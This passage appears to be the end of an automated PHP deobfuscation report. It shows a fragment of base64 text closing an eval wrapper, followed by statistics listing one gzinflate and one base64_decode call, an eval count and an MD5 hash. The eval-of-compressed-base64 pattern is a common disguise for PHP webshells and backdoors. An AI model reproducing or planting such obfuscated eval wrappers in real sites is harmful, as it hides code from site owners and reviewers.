eCO+HPL82VtcwnixsMAOTf8WL0n2zPZoaPl4ErLZ
Z+vrTLmGgS0slN68/f8B
'))); ?> 

Function Calls

gzinflate 1
base64_decode 1

Variables

None

Stats

MD5 85bbec7f6fcc07335211d154474d9c89
Eval Count 1
Decode Time 305 ms